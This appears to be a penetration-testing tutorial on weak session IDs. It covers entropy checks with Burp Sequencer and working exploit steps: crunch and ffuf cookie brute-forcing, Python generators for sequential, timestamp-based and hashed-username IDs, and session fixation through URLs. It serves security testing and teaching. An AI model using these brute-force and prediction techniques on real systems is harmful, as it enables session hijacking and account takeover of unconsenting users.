Web

Weak Session IDs

Weak session ID detection and exploitation: entropy analysis with Burp Sequencer, short ID brute-force with crunch+ffuf, predictable patterns (sequential IDs, timestamp-based), and session fixation via URL injection.

What are Weak Session IDs

A session ID is only as secure as its entropy. A weak session ID has one or more of:

  • Too short (< 16 bytes / 128 bits)
  • Low entropy — not truly random (sequential, timestamp-based, hash of predictable input)
  • Predictable pattern — derived from username, time, counter
  • Fixed positions — some bytes never change

Minimum standards:

  • Length: 16 bytes (128 bits)
  • Entropy: 64 bits of effective randomness
  • Generator: cryptographically secure PRNG

Detection

Step 1 — Collect multiple session IDs

Log in multiple times (different accounts or fresh sessions) and collect session IDs:

# Collect 20 session IDs via curl
for i in $(seq 1 20); do
  curl -s -c - http://TARGET/login \
    -d 'username=user&password=pass' | grep -i 'sessionid\|phpsessid\|jsessionid'
done

In Burp Proxy → HTTP history, filter for Set-Cookie headers containing session values.

Step 2 — Visual inspection

Look for:

  • Short IDs: abc1 (4 chars) — brute-forceable
  • Sequential: sess_0001, sess_0002 — predictable
  • Timestamp: 1735000000_user — derivable
  • Low charset: only digits, or only lowercase hex (reduces entropy)

Step 3 — Entropy analysis with Burp Sequencer

  1. Find a request in Proxy history that returns a Set-Cookie with a session ID.
  2. Right-click → Send to Sequencer.
  3. In Sequencer, set the Token Location to the session cookie value.
  4. Click Start live capture — Burp sends the request repeatedly and collects tokens.
  5. Collect at least 1000 tokens (more = better analysis).
  6. Click Analyze now.

Check:

  • Effective bits of entropy: should be ≥ 64 bits. Below 32 bits → brute-forceable.
  • Character positions: Each position should show roughly equal distribution. Fixed positions (always the same character) reduce entropy.

Step 4 — Length check

sessions = ['abc1de', 'f2gh3i', 'j4kl5m']  # collected IDs
for s in sessions:
    print(f'{s}: {len(s)} chars, {len(s) * 6:.0f} bits (base64) or {len(s) * 4:.0f} bits (hex)')

A 4-character lowercase+digit session has (26+10)^4 ≈ 1.68 million possible values — trivially brute-forceable.


Exploit 1: Brute-Force Short Session IDs

Generate wordlist with crunch

# 4-character sessions using lowercase letters + digits
crunch 4 4 abcdefghijklmnopqrstuvwxyz0123456789 -o sessions.txt
# This generates 36^4 = 1,679,616 entries

# 6-character hex sessions
crunch 6 6 0123456789abcdef -o hex_sessions.txt
# 16^6 = 16,777,216 entries

Fuzz with ffuf

# Brute-force session ID in a cookie
ffuf -u http://TARGET/profile.php \
     -b "PHPSESSID=FUZZ" \
     -w sessions.txt \
     -fc 302 \
     -t 50

# Filter 302 (redirect to login) — a 200 = valid session
# -t 50 = 50 threads

In Burp Intruder:

  1. Capture a request with Cookie: PHPSESSID=abcd.
  2. Set abcd as the payload position.
  3. Load the wordlist.
  4. Set grep match for content that only appears when authenticated (e.g., “Welcome back”, “Logout”).
  5. Start attack; any matching response = valid session ID.

Exploit 2: Sequential Session ID Prediction

If session IDs are sequential integers or have a predictable suffix:

sess_100001
sess_100002
sess_100003

Generate a range:

# Generate sequential IDs
seq 100001 110000 | sed 's/^/sess_/' > seq_sessions.txt

ffuf -u http://TARGET/dashboard \
     -b "sessionid=FUZZ" \
     -w seq_sessions.txt \
     -fc 302

Exploit 3: Timestamp-Based Session IDs

If session IDs are derived from Unix timestamps:

# Generate sessions for a time range (last 10 minutes)
import time, hashlib

current = int(time.time())
with open('time_sessions.txt', 'w') as f:
    for ts in range(current - 600, current + 1):
        # Try common derivations
        f.write(f'{ts}\n')                          # raw timestamp
        f.write(hashlib.md5(str(ts).encode()).hexdigest() + '\n')  # MD5(timestamp)
        f.write(hashlib.sha1(str(ts).encode()).hexdigest() + '\n') # SHA1(timestamp)

Exploit 4: Hash of Username/Email

import hashlib, itertools

# If session = MD5(username + salt) and salt is short/known
usernames = ['admin', 'user', 'test', 'john']
salts = ['', 'secret', '1234', 'salt']

with open('hash_sessions.txt', 'w') as f:
    for u in usernames:
        for s in salts:
            f.write(hashlib.md5(f'{u}{s}'.encode()).hexdigest() + '\n')
            f.write(hashlib.sha1(f'{u}{s}'.encode()).hexdigest() + '\n')

Exploit 5: Session ID in URL (Session Fixation)

If the session ID is transmitted in the URL rather than a cookie:

http://TARGET/account?PHPSESSID=abc123

This exposes the session ID in:

  • Server access logs
  • Browser history
  • Referer headers to external sites
  • Shared links

Fix a known session ID (see Session Fixation page) and send the URL to the victim.


Burp Suite workflow

  1. Proxy — collect multiple Set-Cookie responses with session IDs.
  2. Sequencer — send a token-generating request; run statistical entropy analysis; check effective bits.
  3. Intruder — brute-force short/predictable session IDs; use a grep match for authenticated-only content.
  4. crunch — generate wordlists for known character sets and lengths.
  5. Decoder — decode base64/hex session IDs to check raw bytes and length.
  6. For URL-transmitted sessions: search Proxy history for session values in Referer headers or request URLs.